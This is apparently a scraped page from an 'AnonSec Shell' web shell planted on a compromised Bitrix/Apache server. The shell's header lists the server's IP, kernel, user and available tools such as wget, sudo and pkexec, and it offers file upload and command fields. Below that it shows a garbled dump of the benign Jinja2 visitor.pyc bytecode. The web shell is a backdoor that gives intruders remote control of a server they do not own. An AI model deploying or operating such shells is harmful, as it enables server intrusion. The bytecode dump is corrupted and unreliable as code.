AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.119.127.87
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/jinja2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/jinja2/visitor.pyc
�
,��Qc@sFdZddlmZdefd��YZdefd��YZdS(s�
    jinja2.visitor
    ~~~~~~~~~~~~~~

    This module implements a visitor for the nodes.

    :copyright: (c) 2010 by the Jinja Team.
    :license: BSD.
i����(tNodetNodeVisitorcBs)eZdZd�Zd�Zd�ZRS(sWalks the abstract syntax tree and call visitor functions for every
    node found.  The visitor functions may return values which will be
    forwarded by the `visit` method.

    Per default the visitor functions for the nodes are ``'visit_'`` +
    class name of the node.  So a `TryFinally` node visit function would
    be `visit_TryFinally`.  This behavior can be changed by overriding
    the `get_visitor` function.  If no visitor function exists for a node
    (return value `None`) the `generic_visit` visitor is used instead.
    cCs d|jj}t||d�S(s�Return the visitor function for this node or `None` if no visitor
        exists for this node.  In that case the generic visit function is
        used instead.
        tvisit_N(t	__class__t__name__tgetattrtNone(tselftnodetmethod((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pytget_visitorscOs>|j|�}|dk	r+||||�S|j|||�S(s
Visit a node.N(R
Rt
generic_visit(RRtargstkwargstf((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pytvisit"scOs.x'|j�D]}|j|||�q
WdS(s9Called if no explicit visitor function exists for a node.N(titer_child_nodesR(RRRR
((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyR)s(Rt
__module__t__doc__R
RR(((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyRs
		tNodeTransformercBs eZdZd�Zd�ZRS(s�Walks the abstract syntax tree and allows modifications of nodes.

    The `NodeTransformer` will walk the AST and use the return value of the
    visitor functions to replace or remove the old node.  If the return
    value of the visitor function is `None` the node will be removed
    from the previous location otherwise it's replaced with the return
    value.  The return value may be the original node in which case no
    replacement takes place.
    c	Osx|j�D]�\}}t|t�r�g}xv|D]n}t|t�r�|j|||�}|dkrqq5q�t|t�s�|j|�q5q�n|j|�q5W||(q
t|t�r
|j|||�}|dkr�t||�qt	|||�q
q
W|S(N(
titer_fieldst
isinstancetlistRRRtextendtappendtdelattrtsetattr(	RRRR
tfieldt	old_valuet
new_valuestvaluetnew_node((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyR:s&

	
cOs4|j|||�}t|t�s0|g}n|S(s{As transformers may return lists in some places this method
        can be used to enforce a list as return value.
        (RRR(RRRR
trv((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyt
visit_listPs(RRRRR!(((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyR/s		N(Rtjinja2.nodesRtobjectRR(((s2/usr/lib/python2.7/site-packages/jinja2/visitor.pyt<module>
s!

Anon7 - 2022
AnonSec Team